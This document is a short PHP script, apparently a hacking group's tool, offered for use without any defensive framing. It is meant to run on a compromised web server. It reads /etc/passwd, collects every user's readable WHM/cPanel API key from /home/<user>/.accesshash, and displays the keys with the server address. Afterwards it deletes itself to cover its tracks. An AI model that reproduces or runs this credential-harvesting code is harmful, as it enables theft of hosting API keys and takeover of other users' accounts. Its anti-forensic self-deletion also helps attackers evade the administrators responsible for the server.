WHM Api Key Scanner

<? echo'<title>WHM API KEY CHECKER</title><body bgcolor=black><center><br>';
/*
AUTHOR : AZZATSSINS CYBERSERKERS
CONTACT : http://fb.me/AZZATSSINS_CYBERSERKERS
*/
//$saiber = file_get_contents("/etc/passwd");
$archer = fopen('/etc/passwd','r');

while($saiber = fgets($archer)){
 if($saiber==""){

echo "<font color=red>can't read /etc/passwd</font>";

}
else{

preg_match_all('/(.*?):x:/', $saiber, $berserk);

foreach($berserk[1] as $caster){

$assassins = "/home/".$caster."/.accesshash";
if(is_readable($assassins)){
$rider = file_get_contents($assassins);
echo "<center><fieldset><b><i><font color='green'>Server Host: ".gethostbyname($_SERVER['HTTP_HOST'])."<br>User: ".$caster."<br>API KEY<br><pre>";
echo $rider;
echo"</pre></font></i></b></fiedset></center><br><br>";
}
else{
    }
}
}

}
$fn = $_SERVER['SCRIPT_FILENAME'];
unlink($fn);system('rm '.$fn);
?>